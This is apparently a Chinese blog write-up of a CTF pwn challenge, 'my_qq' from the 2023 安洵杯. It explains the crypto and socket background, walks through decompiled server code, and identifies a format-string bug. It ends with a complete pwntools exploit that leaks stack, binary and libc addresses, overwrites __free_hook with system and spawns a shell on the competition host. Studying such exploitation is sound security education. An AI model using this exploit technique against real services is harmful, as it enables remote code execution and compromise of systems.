2023 安洵杯-PWN-【my_qq】


https://ycznkvrmzo.feishu.cn/docx/G17xduF91omE5nxgkgfc1W93nqb

环境搭建

直接运行是失败的,显示缺少很多共享库,一个个下载即可
在这里插入图片描述

相关知识

RSA公钥加密

RSA公钥加密的具体实现涉及以下步骤:

  1. 生成密钥对:使用RSA算法生成一对密钥,包括公钥和私钥。通常使用密钥生成算法(如RSA密钥生成算法)来生成一对随机且安全的密钥。私钥应保密,而公钥可以与其他人共享。

  2. 加密数据:要加密的数据被转换为数字形式,并利用公钥进行加密。通常使用公钥加密算法(如RSA加密算法)来执行加密操作。加密的过程涉及数学运算,将原始数据与公钥上的指数进行计算,得到加密后的结果。

  3. 发送密文:加密后的数据称为密文,可以通过不安全的通信渠道发送给其他人。即使在传输过程中,密文也不会暴露原始数据。

  4. 解密数据:只有私钥持有者可以使用私钥进行解密操作,将密文恢复为原始数据。通过私钥解密算法(如RSA解密算法),使用私钥上的指数进行数学运算,从而得到原始数据。

需要注意的是,RSA公钥加密算法的实现通常通过使用特定的加密库(如OpenSSL、Crypto++等)来调用相应的函数和方法来实现。这些库提供了RSA算法的实现和相关的加密函数,简化了加密和解密的操作。

实现RSA公钥加密的过程需要熟悉相关的加密库及其API,并理解RSA算法的数学原理和操作步骤。在实际应用中,我们通常使用现有的加密库来实现RSA公钥加密,而不是手动实现算法逻辑。

对称加密算法

对称加密算法是指加密和解密过程使用相同的密钥的加密算法。在对称加密中,发送方使用密钥将数据加密,接收方使用相同的密钥将加密的数据解密回原始数据。

以下是对称加密算法的一般步骤:

  1. 生成密钥:首先,需要生成一个密钥,该密钥将用于加密和解密数据。对称加密算法使用相同的密钥进行加密和解密,因此需要确保密钥的安全性。

  2. 加密数据:发送方使用密钥将原始数据转换为加密数据。加密的过程涉及将数据与密钥进行数学运算,以生成加密后的结果。加密算法的具体步骤和数学原理取决于使用的特定对称加密算法。

  3. 发送密文:发送方将加密后的数据(密文)发送给接收方,并确保其安全传输。密文在传输过程中即使被截获,也不会暴露原始数据,因为只有掌握密钥的人能够解密数据。

  4. 解密数据:接收方使用相同的密钥对密文进行解密,将其还原为原始数据。解密算法使用相同的密钥和相反的数学运算来恢复原始数据。

  5. 对称加密算法的关键在于保护密钥的安全性。只有密钥的持有者可以解密加密数据,因此需要确保只有授权人员可以访问密钥。

常见的对称加密算法包括DES(Data Encryption Standard)、AES(Advanced Encryption Standard)、3DES(Triple Data Encryption Standard)等。这些算法具有不同的密钥长度和安全性级别,可以根据实际需求选择合适的算法。

需要注意的是,对称加密算法在安全性和效率方面具有优势,但密钥的安全分发和管理是一个重要的问题。密钥的保护和合理的密钥管理是使用对称加密算法的关键,以确保加密通信的安全性。

相关库函数

signal(14, handler);

这行代码使用了signal函数来设置信号处理函数。

signal函数的原型如下:

void (*signal(int signum, void (*handler)(int)))(int);

  • 第一个参数signum指定了要处理的信号的编号,这里是14,表示SIGALRM信号,即定时器到期信号。

  • 第二个参数handler指定了信号处理函数的地址,这里是handler函数。

因此,这行代码的作用是将SIGALRM信号与handler函数关联起来,即当定时器到期时,操作系统会调用handler函数来处理该信号。

BIO_s_mem()

BIO_s_mem() 函数是 OpenSSL 库中的一个函数,用来创建“内存 BIO”。在更易懂的语言中,它可以看作是一个创建虚拟存储空间的方法,这个虚拟存储空间位于内存中,你可以往里面写数据或从里面读数据,就像操作一个文件一样,只不过这个“文件”实际上不存在于磁盘上,而是存在于内存中。

一个简单的比喻是,如果你想在一张纸上写点东西给别人看,但你又不想让这张纸存在(也许是因为安全原因,或者你仅仅是想临时存储些信息),那么你可以想象在空中写字,其他人可以直接从空中读到这些字,然后那些字就消失了。内存 BIO 实际上就是在程序的内存中做这件事情。

举个例子:

假定你正在开发一个应用程序,这个程序需要生成一些敏感数据,比如一份报告或一个许可证书,但是你不希望这份数据被保存到文件系统中。你可以这样做:

使用 BIO_s_mem() 创建一个内存 BIO。
将你的敏感数据写入这个内存 BIO。
当需要读取或者传递这份敏感数据时,你可以从这个内存 BIO 中读取。
用完之后,你可以丢弃这个内存 BIO,而且因为它从一开始就只存在于内存中,因此不会在磁盘上留下任何痕迹。
下面是一段伪代码来说明上述步骤:


// 创建内存BIO
BIO *bio = BIO_new(BIO_s_mem());

// 向内存中写数据
BIO_write(bio, "敏感数据", strlen("敏感数据"));

// 需要的时候从内存中读数据
char data[1024];
int len = BIO_read(bio, data, sizeof(data));

// 将敏感数据传递给另一个函数
process_data(data, len);

// 完成操作,释放内存BIO
BIO_free(bio);

在这个例子中,我们先是创建了一个内存 BIO,然后往里面写入了一些数据(这里是文字"敏感数据"),接着当我们需要这些数据的时候就从 BIO 里把它读出来,处理完了之后释放了这个内存 BIO。这样的话,那些敏感数据就不会被写入硬盘,其生命周期完全被限制在了程序的内存中。

socker_addr与socker

s.sa_family = 2; - 这里设置s结构的sa_family字段为2,这通常代表AF_INET,即使用IPv4地址族。

*(_DWORD *)&s.sa_data[2] = inet_addr("0.0.0.0"); - 这行代码将IP地址0.0.0.0转换为网络字节序,并赋值给s.sa_data数组的第2个元素开始的位置。在大多数架构中,_DWORD代表双字(32),因此这相当于给sockaddr_in的sin_addr字段赋值。

*(_WORD *)s.sa_data = htons(0x2710u); - 这行代码使用htons函数(主机到网络短整型的转换)将端口100000x2710在十六进制中)转换为网络字节序,并将其存储在s.sa_data的开始位置,这通常对应于sockaddr_in结构的sin_port字段。

fd = socket(2, 1, 6); - 使用socket函数创建一个套接字。参数2再次表示AF_INET,参数1表示SOCK_STREAM,表示这是TCP套接字,参数6表示使用TCP协议(在大多数系统的/etc/protocols文件中,TCP的值为6)。

错误检查 - 下面的三个if语句分别检查socket、bind和listen函数调用的返回值。如果任何一个函数失败,将使用perror打印错误消息,并调用exit终止程序。

if ( bind(fd, &s, 0x10u) == -1 ) - 这行代码尝试将上面创建的套接字绑定到某个地址和端口上。第三个参数是套接字地址结构的长度,0x10u通常是16,这可能意味着s结构是一个类似于sockaddr_in的结构体。在现代代码中,我们通常会使用sizeof(struct sockaddr_in)if ( listen(fd, 5) == -1 ) - 这行代码将创建的套接字设置为监听模式,并且能够允许最多5个挂起连接排队。

server_listen_port = ntohs(*(uint16_t *)s.sa_data); - 这行代码将s.sa_data开头的两个字节(采用网络字节序)转换为主机字节序,得到服务器监听的端口号,并赋值给server_listen_port变量。在sockaddr_in结构中,这对应于sin_port字段。

accept

arg = accept(fd, &addr, &addr_len); - accept函数被调用,它的作用是从处于监听状态的套接字(fd)队列中接受第一个等待的连接请求。一旦接受,它会创建一个新的套接字(现在由arg变量表示),专门用于与客户端进行通信。第二个参数&addr是一个指向sockaddr结构的指针,用来接收连接方的地址信息,第三个参数&addr_len是一个指向包含前述结构大小的变量的指针,函数返回时,&addr_len将被设置为实际地址的大小

pthread_create

if ( pthread_create(newthread, 0LL, start_routine, &accept_get_socker) ) - pthread_create函数用于创建一个新的线程。参数newthread是一个指针,用来接受新线程的线程ID;参数0LL是线程属性指针,这里传递为NULL(对应于0LL),表示使用默认的线程属性;start_routine是一个指向函数的指针,这个函数是新线程将要执行的代码的入口点;最后一个参数是传递给start_routine函数的参数,这里是指向accept_get_socket的指针

pthread_detach

pthread_detach(newthread[0]); - pthread_detach函数用于分离线程newthread[0](这表示newthread是一个线程标识符数组)。分离线程意味着让操作系统在该线程终止时立即回收所有分配给它的资源,从而不需要其他线程对其进行join(即不需要其他线程明确地收集终止线程的信息)。分离线程有助于防止线程终止后留下的资源未被回收导致的内存泄漏(称为僵尸线程)。

recv(accept_get_socker, buf, 4uLL, 0);

此行调用recv函数来接收来自由accept_get_socker(很可能是接收到的socket描述符)表示的客户端连接的数据。函数试图读取4个字节(4uLL表示四个字节的无符号长整型字面量)的数据到缓冲区buf中,并以阻塞模式(0标志表示阻塞模式)接收数据。

start_routine(int *accept_get_socker_place)

void __fastcall __noreturn start_routine(int *accept_get_socker_place)
{
  int accept_get_socker; // [rsp+1Ch] [rbp-14h] BYREF
  int get_from_client_4_bytes; // [rsp+20h] [rbp-10h]
  char get_from_client_4_bytes_buf[4]; // [rsp+24h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  accept_get_socker = *accept_get_socker_place;
  while ( 1 )
  {
    get_from_client_4_bytes = recv(accept_get_socker, get_from_client_4_bytes_buf, 4uLL, 0);
    if ( get_from_client_4_bytes == -1 )
      break;
    puts(get_from_client_4_bytes_buf);
    if ( !strcmp(get_from_client_4_bytes_buf, "yes") )
    {
      if ( client_logo(&accept_get_socker) == 0xFFFFFFFF )
      {
        perror("handle_client_logon");
        exit(-1);
      }
    }
    else if ( client_register(&accept_get_socker) == 0xFFFFFFFF )
    {
      perror("handle_client_register");
      exit(-1);
    }
  }
  perror("response");
  exit(-1);
}
__int64 sub_360E()
{
  qword_7500 = mysql_init(0LL);
  if ( mysql_real_connect(qword_7500, "127.0.0.1", "admin", "test123", "my_qq", 0LL, 0LL, 0LL) )
  {
    puts("Database connection successful");
    return 0LL;
  }
  else
  {
    perror("mysql_connect");
    puts("error");
    return 0xFFFFFFFFLL;
  }
}
上述代码是用于建立与MySQL数据库的连接的C语言片段。以下是该代码的逐行解释:

qword_7500 = mysql_init(0LL);
 
这行代码看起来是在调用mysql_init函数以初始化一个MySQL连接对象。mysql_init函数通常用来分配、初始化MySQL对象并返回一个新的连接句柄。0LL是一个长整形的字面量,表示用NULL指针来初始化这个对象,它告诉mysql_init函数去分配和初始化新的对象。在C语言中,mysql_init(NULL)是较为常见的调用方式。qword_7500这个变量名可能是某种反编译软件自动生成的,并不符合一般的命名惯例。
if ( mysql_real_connect(qword_7500, "127.0.0.1", "admin", "test123", "my_qq", 0LL, 0LL, 0LL) )
{
  puts("Database connection successful");
  return 0LL;
}
 
这个代码块试图通过调用mysql_real_connect函数来建立一个实际的数据库连接。这个函数接收多个参数:
qword_7500: MySQL连接句柄,由mysql_init函数分配并初始化。
"127.0.0.1": 数据库服务器的主机地址,在这里是本机地址。
"admin": MySQL数据库的用户名。
"test123": 用于登录数据库的密码。
"my_qq": 要连接的数据库名称。
0LL: 服务器的端口号,这里用零表示使用默认端口。
0LL: UNIX套接字,使用默认值通常写作NULL或者00LL: 客户端标志,指定在连接时使用的不同选项,这里也是使用零表示使用默认值。

send(accept_get_socker, buf, n, 0)

  • accept_get_socker: 这个套接字是通过 accept 函数从监听套接字中获得,常用于与客户端通信。

  • buf: 这是指向所要发送数据的缓冲区的指针。这个缓冲区包含了要发送给对方的数据。

  • n: 这代表在这次调用中要发送的字节数。

  • 0: 这是在发送操作中使用的标志(flags),在这里,0 代表没有特殊的发送行为被请求(例如,不请求非阻塞或者不请求发送操作的高优先级)。

time

  time_t timer; // [rsp+0h] [rbp-120h] BYREF
  struct tm *tp; // [rsp+8h] [rbp-118h]
  char s[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  time(&timer);
  tp = localtime(&timer);
  strftime(s, 0x100uLL, "%Y-%m-%d %H:%M:%S", tp);
  printf("Current time: %s\n", s);

定义了一个 time_t 类型的变量 timer,通常用于存储系统时间(自1970年01月01日以来的秒数)。
定义了一个 struct tm 类型的指针变量 tp。struct tm 是一个标准的C库结构体,用于存储时间和日期的详细信息,例如年、月、日、时、分、秒等。
定义了一个字符数组 s,长度为 264 字节,用于存储格式化后的日期和时间字符串。
定义了一个无符号64位整数 v4,用于获取当前函数的栈框基指针,这是一种常见的安全措施用以检测栈溢出。这行代码是特定于x86_64体系结构并依赖于特定编译器实现的。
之后是主要的程序逻辑:

使用 time 函数更新 timer 变量以获取当前的系统时间。
调用 localtime 函数把 timer 变量的值转换为本地时间,并把结果存储在 tp 指向的 struct tm 结构体中。
使用 strftime 函数将 tp 指向的 struct tm 结构体中的时间格式化为年-月-日 时:分:秒 的格式,并将格式化后的字符串存放在 s 数组中。0x100 是格式化字符串的最大长度,即 256 字节。
使用 printf 函数打印出包含当前时间的字符串。

题目的通信流程(供参考)

  1. 生成密钥对客户端和服务器都需要生成各自的RSA密钥对,包括一个公钥和一个私钥。公钥是公开的,可安全地共享给任何人,而私钥是保密的,不能泄露。
  2. 交换公钥客户端和服务端交换各自的公钥。例如,用户在注册时,服务器会将其公钥发送给客户端,客户端也可以生成密钥对并将公钥发送给服务器用于后续的加密通信。
  3. 账户注册用户在客户端创建账户时,客户端会提示用户输入用户名和密码。客户端使用服务器的公钥对密码进行加密,然后将加密后的用户名和密码发送到服务器。
  4. 存储加密信息服务器收到加密的信息后,使用自己的私钥解密。之后,服务器会将用户名和密码哈希(通常会使用其他的安全措施,如盐值)后存储于数据库中。
  5. 账户登录当用户尝试登录时,客户端将使用服务器的公钥再次加密用户的用户名和密码,然后将这些加密后的凭据发送到服务器。
  6. 身份验证服务器用自己的私钥解密收到的信息,并与数据库中存储的哈希值进行比较以验证身份。
  7. 一旦身份验证成功,服务器和客户端接下来的通信可选择使用数字签名来来保证信息来源的可靠
  8. 服务器会和客户端通过某种交换方式得到一致的rc4密匙,接下来的通信都通过rc4加密来通信

逆向结果

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  uint16_t v4; // ax
  unsigned int v6; // ebx
  char *v7; // rax
  unsigned int client_fd; // [rsp+10h] [rbp-60h] MAPDST BYREF
  socklen_t addr_len; // [rsp+14h] [rbp-5Ch] BYREF
  int i; // [rsp+18h] [rbp-58h]
  int server_fd; // [rsp+1Ch] [rbp-54h]
  pthread_t newthread; // [rsp+20h] [rbp-50h] BYREF
  void *v13; // [rsp+28h] [rbp-48h]
  struct sockaddr_in s; // [rsp+30h] [rbp-40h] BYREF
  struct sockaddr_in addr; // [rsp+40h] [rbp-30h] BYREF
  unsigned __int64 v16; // [rsp+58h] [rbp-18h]

  v16 = __readfsqword(0x28u);
  client_fd = -1;
  setup();
  alarm(30u);
  signal(SIGALRM, (__sighandler_t)handler);
  if ( read_pem() == -1 )
    exit(-1);
  v3 = BIO_s_mem();
  v13 = BIO_new(v3);
  PEM_write_bio_RSA_PUBKEY(v13, pbkey);
  qword_7548 = (int)BIO_ctrl(v13, 10LL, 0LL, 0LL);
  BIO_free(v13);
  pthread_mutex_init(&mutex, 0LL);
  memset(&s, 0, sizeof(s));
  s.sin_family = 2;
  s.sin_addr.s_addr = inet_addr("0.0.0.0");
  s.sin_port = htons(10000u);
  server_fd = socket(AF_INET, SOCK_STREAM, 6);
  if ( server_fd == -1 )
  {
    perror("socket");
    exit(-1);
  }
  if ( bind(server_fd, (const struct sockaddr *)&s, 0x10u) == -1 )
  {
    perror("bind");
    exit(-1);
  }
  if ( listen(server_fd, 5) == -1 )
  {
    perror("listen");
    exit(-1);
  }
  v4 = ntohs(s.sin_port);
  printf("Server is listening on port %d........\n", v4);
  while ( 1 )
  {
    while ( 1 )
    {
      addr_len = 16;
      client_fd = accept(server_fd, (struct sockaddr *)&addr, &addr_len);
      if ( client_fd != -1 )
        break;
      perror("accept");
    }
    v6 = ntohs(addr.sin_port);
    v7 = inet_ntoa(addr.sin_addr);
    printf("Client connected: %s:%d on sock %d\n", v7, v6, client_fd);
    pthread_mutex_lock(&mutex);
    for ( i = 0; i <= 19 && conns[i]; ++i )
      ;
    if ( i != 20 && !conns[i] )
    {
      conns[i] = (Conn *)malloc(0x30uLL);
      conns[i]->client_fd = client_fd;
      ++conn_count;
    }
    pthread_mutex_unlock(&mutex);
    if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, &client_fd) )
    {
      perror("pthread_create");
      exit(-1);
    }
    pthread_detach(newthread);
  }
}

void __fastcall __noreturn start_routine(void *arg)
{
  int client_fd; // [rsp+1Ch] [rbp-14h] BYREF
  int v2; // [rsp+20h] [rbp-10h]
  char buf[4]; // [rsp+24h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  client_fd = *(_DWORD *)arg;
  while ( 1 )
  {
    v2 = recv(client_fd, buf, 4uLL, 0);
    if ( v2 == -1 )
      break;
    puts(buf);
    if ( !strcmp(buf, "yes") )
    {
      if ( handle_client_logon(&client_fd) == -1 )
      {
        perror("handle_client_logon");
        exit(-1);
      }
    }
    else if ( handle_client_register(&client_fd) == -1 )
    {
      perror("handle_client_register");
      exit(-1);
    }
  }
  perror("response");
  exit(-1);
}

int __fastcall handle_client_logon(int *arg)
{
  char v2[1032]; // [rsp-410h] [rbp-1880h] BYREF
  int *v3; // [rsp+8h] [rbp-1468h]
  int client_fd; // [rsp+18h] [rbp-1458h] BYREF
  int i; // [rsp+1Ch] [rbp-1454h]
  int v6; // [rsp+20h] [rbp-1450h]
  int v7; // [rsp+24h] [rbp-144Ch]
  __int64 rsa_ctx; // [rsp+28h] [rbp-1448h]
  char v9[1032]; // [rsp+30h] [rbp-1440h] BYREF
  char rc4key[32]; // [rsp+440h] [rbp-1030h] BYREF
  char s[16]; // [rsp+460h] [rbp-1010h] BYREF
  char name[1024]; // [rsp+860h] [rbp-C10h] BYREF
  char rsa_signature[1024]; // [rsp+C60h] [rbp-810h] BYREF
  char s2[1032]; // [rsp+1060h] [rbp-410h] BYREF
  unsigned __int64 v15; // [rsp+1468h] [rbp-8h]

  v3 = arg;
  v15 = __readfsqword(0x28u);
  client_fd = *arg;
  v6 = recv(client_fd, name, 0x400uLL, 0);
  if ( v6 == -1 )
  {
    perror("login_recv_name_and_passwordhash");
    return -1;
  }
  v7 = query_database(&client_fd, name, rsa_signature);
  if ( v7 == -1 )
  {
    perror("query_database");
    return -1;
  }
  if ( exchange_public_key(&client_fd, s2) == -1 )
  {
    perror("exchange_public_key");
    return -1;
  }
  if ( strcmp(rsa_signature, s2) || v7 != 1 )
  {
    memset(s, 0, 0x400uLL);
    sprintf(s, "0Login failed, account or password error  !");
    puts(s);
    if ( send(client_fd, s, 0x400uLL, 0) != -1 )
      exit(-1);
    goto LABEL_10;
  }
  show_time();
  printf("%s has successfully logged in on \n", name);
  memset(s, 0, 0x400uLL);
  sprintf(s, "1Login succeess !!");
  puts(s);
  if ( send(client_fd, s, 0x400uLL, 0) == -1 )
  {
LABEL_10:
    perror("send");
    return -1;
  }
  qmemcpy(v2, v9, sizeof(v2));
  if ( Transfer_RC4_key(&client_fd, rsa_ctx, rc4key, v2[0]) != -1 )
  {
    puts("Transfer_RC4_key SUCCESS");
    do
      qmemcpy(v2, v9, sizeof(v2));
    while ( login_Decrypting_messages_verifying_signatures(&client_fd, rsa_ctx, rc4key) != -1 );
    perror("login_Decrypting_messages_verifying_signatures");
    pthread_mutex_lock(&mutex);
    for ( i = 0; i < conn_count; ++i )
    {
      if ( conns[i]->client_fd == client_fd )
      {
        RSA_free(conns[i]->rsa_ctx);
        free(conns[i]);
        free(conns[i]->decoded_msg);
        --conn_count;
      }
    }
    pthread_mutex_unlock(&mutex);
    close(client_fd);
    exit(-1);
  }
  perror("Transfer_RC4_key");
  return -1;
}

int __fastcall login_Decrypting_messages_verifying_signatures(int *fd_ptr, __int64 rsa_ctx, char *rc4key)
{
  int v3; // eax
  unsigned __int64 v4; // rax
  void *v5; // rsp
  int v6; // eax
  int result; // eax
  size_t v8; // rax
  size_t v9; // rax
  int v10; // er9
  size_t v11; // rax
  Conn *v12; // rbx
  char v13[1032]; // [rsp-408h] [rbp-14D0h] BYREF
  __int64 v14[3]; // [rsp+8h] [rbp-10C0h] BYREF
  int i; // [rsp+3Ch] [rbp-108Ch]
  int fd; // [rsp+40h] [rbp-1088h]
  int v20; // [rsp+44h] [rbp-1084h]
  __int64 v21; // [rsp+48h] [rbp-1080h]
  char *buf; // [rsp+50h] [rbp-1078h]
  __int64 v23[130]; // [rsp+58h] [rbp-1070h] BYREF
  char output[48]; // [rsp+468h] [rbp-C60h] BYREF
  char s[1024]; // [rsp+498h] [rbp-C30h] BYREF
  char dest[2048]; // [rsp+898h] [rbp-830h] BYREF
  unsigned __int64 v27; // [rsp+10A0h] [rbp-28h]

  v27 = __readfsqword(0x28u);
  fd = *fd_ptr;
  v3 = RSA_size(prkey) + 1024;
  v21 = v3 - 1LL;
  v14[0] = v3;
  v14[1] = 0LL;
  v4 = 16 * ((v3 + 15LL) / 0x10uLL);
  while ( v14 != (__int64 *)((char *)v14 - (v4 & 0xFFFFFFFFFFFFF000LL)) )
    ;
  v5 = alloca(v4 & 0xFFF);
  if ( (v4 & 0xFFF) != 0 )
    *(__int64 *)((char *)&v14[-1] + (v4 & 0xFFF)) = *(__int64 *)((char *)&v14[-1] + (v4 & 0xFFF));
  buf = (char *)v14;
  v6 = RSA_size(prkey);
  v20 = recv(fd, buf, v6 + 1024, 0);
  if ( v20 == -1 )
  {
    perror("recv_error");
    result = -1;
  }
  else if ( v20 )
  {
    printf("Client%d : %s\n", (unsigned int)fd, buf);
    memset(s, 0, sizeof(s));
    memset(dest, 0, sizeof(dest));
    v8 = strlen(buf);
    memcpy(dest, buf, v8);
    printf("hex_rc4_msg %s\n", dest);
    unhex(dest, s);
    printf("The rc4_msg is   %s\n", s);
    v9 = strlen(rc4key);
    hex(rc4key, v9, output);
    printf("The key is %s\n", output);
    RC4_set_key(v23, 17LL, rc4key);
    v10 = strlen(s);
    qmemcpy(v13, v23, sizeof(v13));
    rc4_decrypt(s, v10, v13[0]);
    printf("The decode  rc4_msg is %s\n", s);
    for ( i = 0; i < conn_count; ++i )
    {
      if ( fd == conns[i]->client_fd )
      {
        if ( !conns[i]->decoded_msg )
        {
          v11 = strlen(s);
          v12 = conns[i];
          v12->decoded_msg = (char *)malloc(v11);
        }
        strcpy(conns[i]->decoded_msg, s);
        printf(conns[i]->decoded_msg);
        puts(" ");
      }
    }
    result = 0;
  }
  else
  {
    printf("Client disconnected: %d\n", (unsigned int)fd);
    result = -1;
  }
  return result;
}


思路

    for ( i = 0; i < dword_704C; ++i )
    {
      if ( fd == *(_DWORD *)qword_7460[i] )
      {
        if ( !*(_QWORD *)(qword_7460[i] + 40LL) )
        {
          v11 = strlen(s);
          v12 = qword_7460[i];
          *(_QWORD *)(v12 + 40) = malloc(v11);
        }
        strcpy(*(char **)(qword_7460[i] + 40LL), s);
        printf(*(const char **)(qword_7460[i] + 40LL)); //格式化字符串
        puts(" ");
      }
    }
    while ( (unsigned int)sub_4407(&fd, v8, v10) != -1 );
    perror("login_Decrypting_messages_verifying_signatures");
    pthread_mutex_lock(&mutex);
    for ( i = 0; i < dword_704C; ++i )
    {
      if ( *(_DWORD *)qword_7460[i] == fd )
      {
        RSA_free(*(_QWORD *)(qword_7460[i] + 8LL));
        free((void *)qword_7460[i]);
        free(*(void **)(qword_7460[i] + 40LL)); // free("/bin/sh")
        --dword_704C;
      }
    }

login_Decrypting_messages_verifying_signatures里很明显的格式化字符串漏洞。问题只在于怎么交互到这儿,只是个逆向问题,解决逆向问题之后抄交互逻辑,再格式化字符串得到当前函数返回地址计算得到程序基址,再读got表得到libc基址,再写__free_hook,最后设置shell命令并断开网络流连接,主程序连接就get shell了。

#!/usr/bin/env python3

from pwn import *
from Crypto import Random
from Crypto.PublicKey import RSA
from Crypto.Cipher import ARC4

pbkey_path = './pb.pem'
prkey_path = './pr.pem'
try:
    pbkey = RSA.importKey(open(pbkey_path, 'rb').read())
    prkey = RSA.importKey(open(prkey_path, 'rb').read())
except Exception as e:
    # print(e)
    prkey = RSA.generate(2048, Random.new().read)
    pbkey = prkey.public_key()
    open(pbkey_path, 'wb').write(pbkey.export_key('PEM'))
    open(prkey_path, 'wb').write(prkey.export_key('PEM'))

def new_client():
    # 47.108.206.43:34284
    p = remote('47.108.206.43', 34284)
    server_p.recvuntil(b'Client connected: ')
    server_p.recvuntil(b' on sock ')
    fd = int(server_p.recvline())
    return p, fd

def recvall(p):
    data = b''
    while True:
        _data = p.recv(timeout=0.5)
        if not _data: break
        data += _data
    return data

def exchange_public_key(p, pbkey):
    global s_pbkey
    server_p.recvuntil(b'server key is ')
    server_p.recvuntil(b'-----END PUBLIC KEY-----\n')
    s_pbkey = RSA.importKey(recvall(p))
    p.send(pbkey.export_key('PEM'))
    assert server_p.recvline().startswith(b'recv client key is ')
    server_p.recvuntil(b'-----END PUBLIC KEY-----')

def register(p, name, pw_sha256_hash, pbkey):
    p.send(b'no\x00\x00')
    server_p.recvuntil(b'no\n')
    p.send(name.ljust(16, b'\x00') + pw_sha256_hash.ljust(64, b'?'))
    assert server_p.recvline() == b'recv_name_and_hash_psw\n'
    exchange_public_key(p, pbkey)
    
    server_p.recvuntil(name + b'\n')
    server_p.recvuntil(pw_sha256_hash.ljust(64, b'?') + b'\n')
    assert p.recv(1) == b'1'
    server_p.recvuntil(b' register was successful!\n')
    p.recvuntil(b' register was successful!')

def login(p, name, pw_sha256_hash, pbkey):
    global s_pbkey
    p.send(b'yes\x00')
    server_p.recvuntil(b'yes\n')
    p.send(name.ljust(16, b'\x00') + pw_sha256_hash.ljust(64, b'?'))
    exchange_public_key(p, pbkey)
    assert p.recv(0x400).startswith(b'1Login succeess !!')
    server_p.recvuntil(b'1Login succeess !!\n')

    recvall(p)
    server_p.recvuntil(b'RC4 key is ')
    rc4key = bytes.fromhex(server_p.recvline().decode())
    server_p.recvuntil(b'Transfer_RC4_key SUCCESS\n')
    assert len(rc4key) == 17 and rc4key.index(b'\x00') == 16
    return rc4key

def session(p, rc4key, data, pad_to=0, extra=b''):
    assert b'\x00' not in data, data
    data += b'\x00'
    data = ARC4.new(rc4key).encrypt(data).hex().encode()
    if pad_to:
        assert len(data) < pad_to, (len(data), pad_to)
        data = data.ljust(pad_to, b'\x00')
    data += extra
    p.send(data)
    server_p.recvuntil(b'The decode  rc4_msg is')
    server_p.recvline()
    return server_p.recvuntil(b' \n', drop=True)

# context.log_level = 'debug'
libc = ELF('./libc-2.31.so', checksec=False)
malloc_got = 0x6f50

# 47.108.206.43:20468
server_p = remote('47.108.206.43', 20468)
server_p.recvuntil(b'Server is listening on port 10000........\n')

p1, fd1 = new_client()
print('fd:', fd1)

# register(p1, b'd', b'a', pbkey)
rc4key = login(p1, b'd', b'a', pbkey)
print('rc4key:', rc4key.hex())

stack_addr = int(session(p1, rc4key, b'%p'), 16)
print('stack:', hex(stack_addr))
# 0 -> 6
elf_base = u64(session(p1, rc4key, b'%15$s', 9 * 8, p64(stack_addr + 0x400 + 0x800 + 0x30 + 8)) + b'\x00\x00') - 0x3208
print('elf:', hex(elf_base))

libc_base = u64(session(p1, rc4key, b'%15$s', 9 * 8, p64(elf_base + malloc_got)) + b'\x00\x00') - libc.sym['malloc']
print('libc:', hex(libc_base))

for i in range(6):
    print(session(p1, rc4key, b'%' + str(((libc_base + libc.sym['system']) >> (8 * i)) & 0xff).encode() + b'c%15$hhn', 9 * 8, p64(libc_base + libc.sym['__free_hook'] + i)))

session(p1, rc4key, b'/bin/sh')

p1.close()

server_p.interactive()

仍然存在一些不解之处并且本地搭建还是存在问题,以后有机会再回头试试

  • 19
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值